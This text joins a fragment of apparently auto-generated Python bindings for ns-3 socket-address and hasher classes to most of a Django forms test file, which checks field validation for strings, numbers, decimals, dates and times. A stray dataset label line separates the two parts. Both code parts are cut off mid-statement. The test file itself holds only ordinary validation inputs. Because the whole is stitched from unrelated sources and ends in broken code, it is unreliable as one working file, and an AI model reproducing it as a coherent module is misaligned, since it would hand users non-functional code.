cls.add_method('GetHash32', 'uint32_t', [param('char const *', 'buffer'), param('std::size_t const', 'size')]) ## hash.h (module 'core'): uint32_t ns3::Hasher::GetHash32(std::string const s) [member function] cls.add_method('GetHash32', 'uint32_t', [param('std::string const', 's')]) ## hash.h (module 'core'): uint64_t ns3::Hasher::GetHash64(char const * buffer, std::size_t const size) [member function] cls.add_method('GetHash64', 'uint64_t', [param('char const *', 'buffer'), param('std::size_t const', 'size')]) ## hash.h (module 'core'): uint64_t ns3::Hasher::GetHash64(std::string const s) [member function] cls.add_method('GetHash64', 'uint64_t', [param('std::string const', 's')]) ## hash.h (module 'core'): ns3::Hasher & ns3::Hasher::clear() [member function] cls.add_method('clear', 'ns3::Hasher &', []) return def register_Ns3Inet6SocketAddress_methods(root_module, cls): ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(ns3::Inet6SocketAddress const & arg0) [constructor] cls.add_constructor([param('ns3::Inet6SocketAddress const &', 'arg0')]) ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(ns3::Ipv6Address ipv6, uint16_t port) [constructor] cls.add_constructor([param('ns3::Ipv6Address', 'ipv6'), param('uint16_t', 'port')]) ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(ns3::Ipv6Address ipv6) [constructor] cls.add_constructor([param('ns3::Ipv6Address', 'ipv6')]) ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(uint16_t port) [constructor] cls.add_constructor([param('uint16_t', 'port')]) ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(char const * ipv6, uint16_t port) [constructor] cls.add_constructor([param('char const *', 'ipv6'), param('uint16_t', 'port')]) ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(char const * ipv6) [constructor] cls.add_constructor([param('char const *', 'ipv6')]) ## inet6-socket-address.h (module 'network'): static ns3::Inet6SocketAddress ns3::Inet6SocketAddress::ConvertFrom(ns3::Address const & addr) [member function] cls.add_method('ConvertFrom', 'ns3::Inet6SocketAddress', [param('ns3::Address const &', 'addr')], is_static=True) ## inet6-socket-address.h (module 'network'): ns3::Ipv6Address ns3::Inet6SocketAddress::GetIpv6() const [member function] cls.add_method('GetIpv6', 'ns3::Ipv6Address', [], is_const=True) ## inet6-socket-address.h (module 'network'): uint16_t ns3::Inet6SocketAddress::GetPort() const [member function] cls.add_method('GetPort', 'uint16_t', [], is_const=True) ## inet6-socket-address.h (module 'network'): static bool ns3::Inet6SocketAddress::IsMatchingType(ns3::Address const & addr) [member function] cls.add_method('IsMatchingType', 'bool', [param('ns3::Address const &', 'addr')], is_static=True) ## inet6-socket-address.h (module 'network'): void ns3::Inet6SocketAddress::SetIpv6(ns3::Ipv6Address ipv6) [member function] cls.add_method('SetIpv6', 'void', [param('ns3::Ipv6Address', 'ipv6')]) ## inet6-socket-address.h (module 'network'): void ns3::Inet6SocketAddress::SetPort(uint16_t port) [member function] cls.add_method('SetPort', 'void', [param('uint16_t', 'port')]) return def register_Ns3InetSocketAddress_methods(root_module, cls): ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(ns3::InetSocketAddress const & arg0) [constructor] cls.add_constructor([param('ns3::InetSocketAddress const &', 'arg0')]) ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(ns3::Ipv4Address ipv4, uint16_t port) [constructor] cls.add_constructor([param('ns3::Ipv4Address', 'ipv4'), param('uint16_t', 'port')]) ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(ns3::Ipv4Address ipv4) [constructor] cls.add_constructor([param('ns3::Ipv4Address', 'ipv4')]) ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(uint16_t port) [constructor] cls.add_constructor([param('uint16_t', 'port')]) ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(char const * ipv4, uint16_t port) [constructor] cls.add_constructor([param('char const *', 'ipv4'), param('uint16_t', 'port')]) ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(char const * ipv4) [constructor] cls.add_constructor([param('char const *', 'ipv4')]) ## inet-socket-address.h (module 'network'): static ns3::InetSocketAddress ns3::InetSocketAddress::ConvertFrom(ns3::Address const & address) [member function] cls.add_method('ConvertFrom', 'ns3::InetSocketAddress', [param('ns3::Address const &', 'address')], is_static=True) ## inet-socket-address.h (module 'network'): ns3::Ipv4Address ns3::InetSocketAddress::GetIpv4() const [member function] cls.add_method('GetIpv4', 'ns3::Ipv4Address', [], is_const=True) ## inet-socket-address.h (module 'network'): uint16_t ns3::InetSocketAddress::GetPort() const [member function] cls.add_method('GetPort', 'uint16_t', [], is_const=True) ## inet-socket-address.h (module 'network'): uint8_t ns3::InetSocketAddress::GetTos() const [member function] cls.add_method('GetTos', 'uint8_t', [], is_const=True) ## inet-socket-address.h (module 'network'): static bool ns3::InetSocketAddress::IsMatchingType(ns3::Address const & address) [member function] cls.add_method('IsMatchingType',
codeparrot/github-code-clean
# -*- coding: utf-8 -*- """ ########## # Fields # ########## Each Field class does some sort of validation. Each Field has a clean() method, which either raises django.forms.ValidationError or returns the "clean" data -- usually a Unicode object, but, in some rare cases, a list. Each Field's __init__() takes at least these parameters: required -- Boolean that specifies whether the field is required. True by default. widget -- A Widget class, or instance of a Widget class, that should be used for this Field when displaying it. Each Field has a default Widget that it'll use if you don't specify this. In most cases, the default widget is TextInput. label -- A verbose name for this field, for use in displaying this field in a form. By default, Django will use a "pretty" version of the form field name, if the Field is part of a Form. initial -- A value to use in this Field's initial display. This value is *not* used as a fallback if data isn't given. Other than that, the Field subclasses have class-specific options for __init__(). For example, CharField has a max_length option. """ from __future__ import unicode_literals import datetime import pickle import re import os from decimal import Decimal from django.core.files.uploadedfile import SimpleUploadedFile from django.forms import * from django.test import SimpleTestCase from django.utils import formats from django.utils import six from django.utils import translation from django.utils._os import upath def fix_os_paths(x): if isinstance(x, six.string_types): return x.replace('\\', '/') elif isinstance(x, tuple): return tuple(fix_os_paths(list(x))) elif isinstance(x, list): return [fix_os_paths(y) for y in x] else: return x class FieldsTests(SimpleTestCase): def assertWidgetRendersTo(self, field, to): class _Form(Form): f = field self.assertHTMLEqual(str(_Form()['f']), to) def test_field_sets_widget_is_required(self): self.assertTrue(Field(required=True).widget.is_required) self.assertFalse(Field(required=False).widget.is_required) def test_cooperative_multiple_inheritance(self): class A(object): def __init__(self): self.class_a_var = True super(A, self).__init__() class ComplexField(Field, A): def __init__(self): super(ComplexField, self).__init__() f = ComplexField() self.assertTrue(f.class_a_var) # CharField ################################################################### def test_charfield_1(self): f = CharField() self.assertEqual('1', f.clean(1)) self.assertEqual('hello', f.clean('hello')) self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '') self.assertEqual('[1, 2, 3]', f.clean([1, 2, 3])) self.assertEqual(f.max_length, None) self.assertEqual(f.min_length, None) def test_charfield_2(self): f = CharField(required=False) self.assertEqual('1', f.clean(1)) self.assertEqual('hello', f.clean('hello')) self.assertEqual('', f.clean(None)) self.assertEqual('', f.clean('')) self.assertEqual('[1, 2, 3]', f.clean([1, 2, 3])) self.assertEqual(f.max_length, None) self.assertEqual(f.min_length, None) def test_charfield_3(self): f = CharField(max_length=10, required=False) self.assertEqual('12345', f.clean('12345')) self.assertEqual('1234567890', f.clean('1234567890')) self.assertRaisesMessage(ValidationError, "'Ensure this value has at most 10 characters (it has 11).'", f.clean, '1234567890a') self.assertEqual(f.max_length, 10) self.assertEqual(f.min_length, None) def test_charfield_4(self): f = CharField(min_length=10, required=False) self.assertEqual('', f.clean('')) self.assertRaisesMessage(ValidationError, "'Ensure this value has at least 10 characters (it has 5).'", f.clean, '12345') self.assertEqual('1234567890', f.clean('1234567890')) self.assertEqual('1234567890a', f.clean('1234567890a')) self.assertEqual(f.max_length, None) self.assertEqual(f.min_length, 10) def test_charfield_5(self): f = CharField(min_length=10, required=True) self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '') self.assertRaisesMessage(ValidationError, "'Ensure this value has at least 10 characters (it has 5).'", f.clean, '12345') self.assertEqual('1234567890', f.clean('1234567890')) self.assertEqual('1234567890a', f.clean('1234567890a')) self.assertEqual(f.max_length, None) self.assertEqual(f.min_length, 10) def test_charfield_length_not_int(self): """ Ensure that setting min_length or max_length to something that is not a number returns an exception. """ self.assertRaises(ValueError, CharField, min_length='a') self.assertRaises(ValueError, CharField, max_length='a') self.assertRaises(ValueError, CharField, 'a') def test_charfield_widget_attrs(self): """ Ensure that CharField.widget_attrs() always returns a dictionary. Refs #15912 """ # Return an empty dictionary if max_length is None f = CharField() self.assertEqual(f.widget_attrs(TextInput()), {}) # Or if the widget is not TextInput or PasswordInput f = CharField(max_length=10) self.assertEqual(f.widget_attrs(HiddenInput()), {}) # Otherwise, return a maxlength attribute equal to max_length self.assertEqual(f.widget_attrs(TextInput()), {'maxlength': '10'}) self.assertEqual(f.widget_attrs(PasswordInput()), {'maxlength': '10'}) # IntegerField ################################################################ def test_integerfield_1(self): f = IntegerField() self.assertWidgetRendersTo(f, '<input type="number" name="f" id="id_f" />') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) self.assertEqual(1, f.clean('1')) self.assertEqual(True, isinstance(f.clean('1'), int)) self.assertEqual(23, f.clean('23')) self.assertRaisesMessage(ValidationError, "'Enter a whole number.'", f.clean, 'a') self.assertEqual(42, f.clean(42)) self.assertRaisesMessage(ValidationError, "'Enter a whole number.'", f.clean, 3.14) self.assertEqual(1, f.clean('1 ')) self.assertEqual(1, f.clean(' 1')) self.assertEqual(1, f.clean(' 1 ')) self.assertRaisesMessage(ValidationError, "'Enter a whole number.'", f.clean, '1a') self.assertEqual(f.max_value, None) self.assertEqual(f.min_value, None) def test_integerfield_2(self): f = IntegerField(required=False) self.assertEqual(None, f.clean('')) self.assertEqual('None', repr(f.clean(''))) self.assertEqual(None, f.clean(None)) self.assertEqual('None', repr(f.clean(None))) self.assertEqual(1, f.clean('1')) self.assertEqual(True, isinstance(f.clean('1'), int)) self.assertEqual(23, f.clean('23')) self.assertRaisesMessage(ValidationError, "'Enter a whole number.'", f.clean, 'a') self.assertEqual(1, f.clean('1 ')) self.assertEqual(1, f.clean(' 1')) self.assertEqual(1, f.clean(' 1 ')) self.assertRaisesMessage(ValidationError, "'Enter a whole number.'", f.clean, '1a') self.assertEqual(f.max_value, None) self.assertEqual(f.min_value, None) def test_integerfield_3(self): f = IntegerField(max_value=10) self.assertWidgetRendersTo(f, '<input max="10" type="number" name="f" id="id_f" />') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) self.assertEqual(1, f.clean(1)) self.assertEqual(10, f.clean(10)) self.assertRaisesMessage(ValidationError, "'Ensure this value is less than or equal to 10.'", f.clean, 11) self.assertEqual(10, f.clean('10')) self.assertRaisesMessage(ValidationError, "'Ensure this value is less than or equal to 10.'", f.clean, '11') self.assertEqual(f.max_value, 10) self.assertEqual(f.min_value, None) def test_integerfield_4(self): f = IntegerField(min_value=10) self.assertWidgetRendersTo(f, '<input id="id_f" type="number" name="f" min="10" />') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) self.assertRaisesMessage(ValidationError, "'Ensure this value is greater than or equal to 10.'", f.clean, 1) self.assertEqual(10, f.clean(10)) self.assertEqual(11, f.clean(11)) self.assertEqual(10, f.clean('10')) self.assertEqual(11, f.clean('11')) self.assertEqual(f.max_value, None) self.assertEqual(f.min_value, 10) def test_integerfield_5(self): f = IntegerField(min_value=10, max_value=20) self.assertWidgetRendersTo(f, '<input id="id_f" max="20" type="number" name="f" min="10" />') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) self.assertRaisesMessage(ValidationError, "'Ensure this value is greater than or equal to 10.'", f.clean, 1) self.assertEqual(10, f.clean(10)) self.assertEqual(11, f.clean(11)) self.assertEqual(10, f.clean('10')) self.assertEqual(11, f.clean('11')) self.assertEqual(20, f.clean(20)) self.assertRaisesMessage(ValidationError, "'Ensure this value is less than or equal to 20.'", f.clean, 21) self.assertEqual(f.max_value, 20) self.assertEqual(f.min_value, 10) def test_integerfield_localized(self): """ Make sure localized IntegerField's widget renders to a text input with no number input specific attributes. """ f1 = IntegerField(localize=True) self.assertWidgetRendersTo(f1, '<input id="id_f" name="f" type="text" />') # FloatField ################################################################## def test_floatfield_1(self): f = FloatField() self.assertWidgetRendersTo(f, '<input step="any" type="number" name="f" id="id_f" />') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) self.assertEqual(1.0, f.clean('1')) self.assertEqual(True, isinstance(f.clean('1'), float)) self.assertEqual(23.0, f.clean('23')) self.assertEqual(3.1400000000000001, f.clean('3.14')) self.assertEqual(3.1400000000000001, f.clean(3.14)) self.assertEqual(42.0, f.clean(42)) self.assertRaisesMessage(ValidationError, "'Enter a number.'", f.clean, 'a') self.assertEqual(1.0, f.clean('1.0 ')) self.assertEqual(1.0, f.clean(' 1.0')) self.assertEqual(1.0, f.clean(' 1.0 ')) self.assertRaisesMessage(ValidationError, "'Enter a number.'", f.clean, '1.0a') self.assertEqual(f.max_value, None) self.assertEqual(f.min_value, None) def test_floatfield_2(self): f = FloatField(required=False) self.assertEqual(None, f.clean('')) self.assertEqual(None, f.clean(None)) self.assertEqual(1.0, f.clean('1')) self.assertEqual(f.max_value, None) self.assertEqual(f.min_value, None) def test_floatfield_3(self): f = FloatField(max_value=1.5, min_value=0.5) self.assertWidgetRendersTo(f, '<input step="any" name="f" min="0.5" max="1.5" type="number" id="id_f" />') self.assertRaisesMessage(ValidationError, "'Ensure this value is less than or equal to 1.5.'", f.clean, '1.6') self.assertRaisesMessage(ValidationError, "'Ensure this value is greater than or equal to 0.5.'", f.clean, '0.4') self.assertEqual(1.5, f.clean('1.5')) self.assertEqual(0.5, f.clean('0.5')) self.assertEqual(f.max_value, 1.5) self.assertEqual(f.min_value, 0.5) def test_floatfield_localized(self): """ Make sure localized FloatField's widget renders to a text input with no number input specific attributes. """ f = FloatField(localize=True) self.assertWidgetRendersTo(f, '<input id="id_f" name="f" type="text" />') def test_floatfield_changed(self): f = FloatField() n = 4.35 self.assertFalse(f._has_changed(n, '4.3500')) with translation.override('fr'): with self.settings(USE_L10N=True): f = FloatField(localize=True) localized_n = formats.localize_input(n) # -> '4,35' in French self.assertFalse(f._has_changed(n, localized_n)) # DecimalField ################################################################ def test_decimalfield_1(self): f = DecimalField(max_digits=4, decimal_places=2) self.assertWidgetRendersTo(f, '<input id="id_f" step="0.01" type="number" name="f" />') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) self.assertEqual(f.clean('1'), Decimal("1")) self.assertEqual(True, isinstance(f.clean('1'), Decimal)) self.assertEqual(f.clean('23'), Decimal("23")) self.assertEqual(f.clean('3.14'), Decimal("3.14")) self.assertEqual(f.clean(3.14), Decimal("3.14")) self.assertEqual(f.clean(Decimal('3.14')), Decimal("3.14")) self.assertRaisesMessage(ValidationError, "'Enter a number.'", f.clean, 'NaN') self.assertRaisesMessage(ValidationError, "'Enter a number.'", f.clean, 'Inf') self.assertRaisesMessage(ValidationError, "'Enter a number.'", f.clean, '-Inf') self.assertRaisesMessage(ValidationError, "'Enter a number.'", f.clean, 'a') self.assertRaisesMessage(ValidationError, "'Enter a number.'", f.clean, 'łąść') self.assertEqual(f.clean('1.0 '), Decimal("1.0")) self.assertEqual(f.clean(' 1.0'), Decimal("1.0")) self.assertEqual(f.clean(' 1.0 '), Decimal("1.0")) self.assertRaisesMessage(ValidationError, "'Enter a number.'", f.clean, '1.0a') self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 4 digits in total.'", f.clean, '123.45') self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 2 decimal places.'", f.clean, '1.234') self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 2 digits before the decimal point.'", f.clean, '123.4') self.assertEqual(f.clean('-12.34'), Decimal("-12.34")) self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 4 digits in total.'", f.clean, '-123.45') self.assertEqual(f.clean('-.12'), Decimal("-0.12")) self.assertEqual(f.clean('-00.12'), Decimal("-0.12")) self.assertEqual(f.clean('-000.12'), Decimal("-0.12")) self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 2 decimal places.'", f.clean, '-000.123') self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 4 digits in total.'", f.clean, '-000.12345') self.assertRaisesMessage(ValidationError, "'Enter a number.'", f.clean, '--0.12') self.assertEqual(f.max_digits, 4) self.assertEqual(f.decimal_places, 2) self.assertEqual(f.max_value, None) self.assertEqual(f.min_value, None) def test_decimalfield_2(self): f = DecimalField(max_digits=4, decimal_places=2, required=False) self.assertEqual(None, f.clean('')) self.assertEqual(None, f.clean(None)) self.assertEqual(f.clean('1'), Decimal("1")) self.assertEqual(f.max_digits, 4) self.assertEqual(f.decimal_places, 2) self.assertEqual(f.max_value, None) self.assertEqual(f.min_value, None) def test_decimalfield_3(self): f = DecimalField(max_digits=4, decimal_places=2, max_value=Decimal('1.5'), min_value=Decimal('0.5')) self.assertWidgetRendersTo(f, '<input step="0.01" name="f" min="0.5" max="1.5" type="number" id="id_f" />') self.assertRaisesMessage(ValidationError, "'Ensure this value is less than or equal to 1.5.'", f.clean, '1.6') self.assertRaisesMessage(ValidationError, "'Ensure this value is greater than or equal to 0.5.'", f.clean, '0.4') self.assertEqual(f.clean('1.5'), Decimal("1.5")) self.assertEqual(f.clean('0.5'), Decimal("0.5")) self.assertEqual(f.clean('.5'), Decimal("0.5")) self.assertEqual(f.clean('00.50'), Decimal("0.50")) self.assertEqual(f.max_digits, 4) self.assertEqual(f.decimal_places, 2) self.assertEqual(f.max_value, Decimal('1.5')) self.assertEqual(f.min_value, Decimal('0.5')) def test_decimalfield_4(self): f = DecimalField(decimal_places=2) self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 2 decimal places.'", f.clean, '0.00000001') def test_decimalfield_5(self): f = DecimalField(max_digits=3) # Leading whole zeros "collapse" to one digit. self.assertEqual(f.clean('0000000.10'), Decimal("0.1")) # But a leading 0 before the . doesn't count towards max_digits self.assertEqual(f.clean('0000000.100'), Decimal("0.100")) # Only leading whole zeros "collapse" to one digit. self.assertEqual(f.clean('000000.02'), Decimal('0.02')) self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 3 digits in total.'", f.clean, '000000.0002') self.assertEqual(f.clean('.002'), Decimal("0.002")) def test_decimalfield_6(self): f = DecimalField(max_digits=2, decimal_places=2) self.assertEqual(f.clean('.01'), Decimal(".01")) self.assertRaisesMessage(ValidationError, "'Ensure that there are no more than 0 digits before the decimal point.'", f.clean, '1.1') def test_decimalfield_widget_attrs(self): f = DecimalField(max_digits=6, decimal_places=2) self.assertEqual(f.widget_attrs(Widget()), {}) self.assertEqual(f.widget_attrs(NumberInput()), {'step': '0.01'}) f = DecimalField(max_digits=10, decimal_places=0) self.assertEqual(f.widget_attrs(NumberInput()), {'step': '1'}) f = DecimalField(max_digits=19, decimal_places=19) self.assertEqual(f.widget_attrs(NumberInput()), {'step': '1e-19'}) f = DecimalField(max_digits=20) self.assertEqual(f.widget_attrs(NumberInput()), {'step': 'any'}) def test_decimalfield_localized(self): """ Make sure localized DecimalField's widget renders to a text input with no number input specific attributes. """ f = DecimalField(localize=True) self.assertWidgetRendersTo(f, '<input id="id_f" name="f" type="text" />') def test_decimalfield_changed(self): f = DecimalField(max_digits=2, decimal_places=2) d = Decimal("0.1") self.assertFalse(f._has_changed(d, '0.10')) self.assertTrue(f._has_changed(d, '0.101')) with translation.override('fr'): with self.settings(USE_L10N=True): f = DecimalField(max_digits=2, decimal_places=2, localize=True) localized_d = formats.localize_input(d) # -> '0,1' in French self.assertFalse(f._has_changed(d, localized_d)) # DateField ################################################################### def test_datefield_1(self): f = DateField() self.assertEqual(datetime.date(2006, 10, 25), f.clean(datetime.date(2006, 10, 25))) self.assertEqual(datetime.date(2006, 10, 25), f.clean(datetime.datetime(2006, 10, 25, 14, 30))) self.assertEqual(datetime.date(2006, 10, 25), f.clean(datetime.datetime(2006, 10, 25, 14, 30, 59))) self.assertEqual(datetime.date(2006, 10, 25), f.clean(datetime.datetime(2006, 10, 25, 14, 30, 59, 200))) self.assertEqual(datetime.date(2006, 10, 25), f.clean('2006-10-25')) self.assertEqual(datetime.date(2006, 10, 25), f.clean('10/25/2006')) self.assertEqual(datetime.date(2006, 10, 25), f.clean('10/25/06')) self.assertEqual(datetime.date(2006, 10, 25), f.clean('Oct 25 2006')) self.assertEqual(datetime.date(2006, 10, 25), f.clean('October 25 2006')) self.assertEqual(datetime.date(2006, 10, 25), f.clean('October 25, 2006')) self.assertEqual(datetime.date(2006, 10, 25), f.clean('25 October 2006')) self.assertEqual(datetime.date(2006, 10, 25), f.clean('25 October, 2006')) self.assertRaisesMessage(ValidationError, "'Enter a valid date.'", f.clean, '2006-4-31') self.assertRaisesMessage(ValidationError, "'Enter a valid date.'", f.clean, '200a-10-25') self.assertRaisesMessage(ValidationError, "'Enter a valid date.'", f.clean, '25/10/06') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) def test_datefield_2(self): f = DateField(required=False) self.assertEqual(None, f.clean(None)) self.assertEqual('None', repr(f.clean(None))) self.assertEqual(None, f.clean('')) self.assertEqual('None', repr(f.clean(''))) def test_datefield_3(self): f = DateField(input_formats=['%Y %m %d']) self.assertEqual(datetime.date(2006, 10, 25), f.clean(datetime.date(2006, 10, 25))) self.assertEqual(datetime.date(2006, 10, 25), f.clean(datetime.datetime(2006, 10, 25, 14, 30))) self.assertEqual(datetime.date(2006, 10, 25), f.clean('2006 10 25')) self.assertRaisesMessage(ValidationError, "'Enter a valid date.'", f.clean, '2006-10-25') self.assertRaisesMessage(ValidationError, "'Enter a valid date.'", f.clean, '10/25/2006') self.assertRaisesMessage(ValidationError, "'Enter a valid date.'", f.clean, '10/25/06') def test_datefield_4(self): # Test whitespace stripping behavior (#5714) f = DateField() self.assertEqual(datetime.date(2006, 10, 25), f.clean(' 10/25/2006 ')) self.assertEqual(datetime.date(2006, 10, 25), f.clean(' 10/25/06 ')) self.assertEqual(datetime.date(2006, 10, 25), f.clean(' Oct 25 2006 ')) self.assertEqual(datetime.date(2006, 10, 25), f.clean(' October 25 2006 ')) self.assertEqual(datetime.date(2006, 10, 25), f.clean(' October 25, 2006 ')) self.assertEqual(datetime.date(2006, 10, 25), f.clean(' 25 October 2006 ')) self.assertRaisesMessage(ValidationError, "'Enter a valid date.'", f.clean, ' ') def test_datefield_5(self): # Test null bytes (#18982) f = DateField() self.assertRaisesMessage(ValidationError, "'Enter a valid date.'", f.clean, 'a\x00b') def test_datefield_changed(self): format = '%d/%m/%Y' f = DateField(input_formats=[format]) d = datetime.date(2007, 9, 17) self.assertFalse(f._has_changed(d, '17/09/2007')) def test_datefield_strptime(self): """Test that field.strptime doesn't raise an UnicodeEncodeError (#16123)""" f = DateField() try: f.strptime('31 мая 2011', '%d-%b-%y') except Exception as e: # assertIsInstance or assertRaises cannot be used because UnicodeEncodeError # is a subclass of ValueError self.assertEqual(e.__class__, ValueError) # TimeField ################################################################### def test_timefield_1(self): f = TimeField() self.assertEqual(datetime.time(14, 25), f.clean(datetime.time(14, 25))) self.assertEqual(datetime.time(14, 25, 59), f.clean(datetime.time(14, 25, 59))) self.assertEqual(datetime.time(14, 25), f.clean('14:25')) self.assertEqual(datetime.time(14, 25, 59), f.clean('14:25:59')) self.assertRaisesMessage(ValidationError, "'Enter a valid time.'", f.clean, 'hello') self.assertRaisesMessage(ValidationError, "'Enter a valid time.'", f.clean, '1:24 p.m.') def test_timefield_2(self): f = TimeField(input_formats=['%I:%M %p']) self.assertEqual(datetime.time(14, 25), f.clean(datetime.time(14, 25))) self.assertEqual(datetime.time(14, 25, 59), f.clean(datetime.time(14, 25, 59))) self.assertEqual(datetime.time(4, 25), f.clean('4:25 AM')) self.assertEqual(datetime.time(16, 25), f.clean('4:25 PM')) self.assertRaisesMessage(ValidationError, "'Enter a valid time.'", f.clean, '14:30:45') def test_timefield_3(self): f = TimeField() # Test whitespace stripping behavior (#5714) self.assertEqual(datetime.time(14, 25), f.clean(' 14:25 ')) self.assertEqual(datetime.time(14, 25, 59), f.clean(' 14:25:59 ')) self.assertRaisesMessage(ValidationError, "'Enter a valid time.'", f.clean, ' ') def test_timefield_changed(self): t1 = datetime.time(12, 51, 34, 482548) t2 = datetime.time(12, 51) f = TimeField(input_formats=['%H:%M', '%H:%M %p']) self.assertTrue(f._has_changed(t1, '12:51')) self.assertFalse(f._has_changed(t2, '12:51')) self.assertFalse(f._has_changed(t2, '12:51 PM')) # DateTimeField ############################################################### def test_datetimefield_1(self): f = DateTimeField() self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean(datetime.date(2006, 10, 25))) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean(datetime.datetime(2006, 10, 25, 14, 30))) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 59), f.clean(datetime.datetime(2006, 10, 25, 14, 30, 59))) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 59, 200), f.clean(datetime.datetime(2006, 10, 25, 14, 30, 59, 200))) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45, 200), f.clean('2006-10-25 14:30:45.000200')) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45, 200), f.clean('2006-10-25 14:30:45.0002')) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45), f.clean('2006-10-25 14:30:45')) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean('2006-10-25 14:30:00')) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean('2006-10-25 14:30')) self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean('2006-10-25')) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45, 200), f.clean('10/25/2006 14:30:45.000200')) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45), f.clean('10/25/2006 14:30:45')) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean('10/25/2006 14:30:00')) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean('10/25/2006 14:30')) self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean('10/25/2006')) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45, 200), f.clean('10/25/06 14:30:45.000200')) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45), f.clean('10/25/06 14:30:45')) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean('10/25/06 14:30:00')) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean('10/25/06 14:30')) self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean('10/25/06')) self.assertRaisesMessage(ValidationError, "'Enter a valid date/time.'", f.clean, 'hello') self.assertRaisesMessage(ValidationError, "'Enter a valid date/time.'", f.clean, '2006-10-25 4:30 p.m.') def test_datetimefield_2(self): f = DateTimeField(input_formats=['%Y %m %d %I:%M %p']) self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean(datetime.date(2006, 10, 25))) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean(datetime.datetime(2006, 10, 25, 14, 30))) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 59), f.clean(datetime.datetime(2006, 10, 25, 14, 30, 59))) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 59, 200), f.clean(datetime.datetime(2006, 10, 25, 14, 30, 59, 200))) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean('2006 10 25 2:30 PM')) self.assertRaisesMessage(ValidationError, "'Enter a valid date/time.'", f.clean, '2006-10-25 14:30:45') def test_datetimefield_3(self): f = DateTimeField(required=False) self.assertEqual(None, f.clean(None)) self.assertEqual('None', repr(f.clean(None))) self.assertEqual(None, f.clean('')) self.assertEqual('None', repr(f.clean(''))) def test_datetimefield_4(self): f = DateTimeField() # Test whitespace stripping behavior (#5714) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45), f.clean(' 2006-10-25 14:30:45 ')) self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean(' 2006-10-25 ')) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45), f.clean(' 10/25/2006 14:30:45 ')) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30), f.clean(' 10/25/2006 14:30 ')) self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean(' 10/25/2006 ')) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45), f.clean(' 10/25/06 14:30:45 ')) self.assertEqual(datetime.datetime(2006, 10, 25, 0, 0), f.clean(' 10/25/06 ')) self.assertRaisesMessage(ValidationError, "'Enter a valid date/time.'", f.clean, ' ') def test_datetimefield_5(self): f = DateTimeField(input_formats=['%Y.%m.%d %H:%M:%S.%f']) self.assertEqual(datetime.datetime(2006, 10, 25, 14, 30, 45, 200), f.clean('2006.10.25 14:30:45.0002')) def test_datetimefield_changed(self): format = '%Y %m %d %I:%M %p' f = DateTimeField(input_formats=[format]) d = datetime.datetime(2006, 9, 17, 14, 30, 0) self.assertFalse(f._has_changed(d, '2006 09 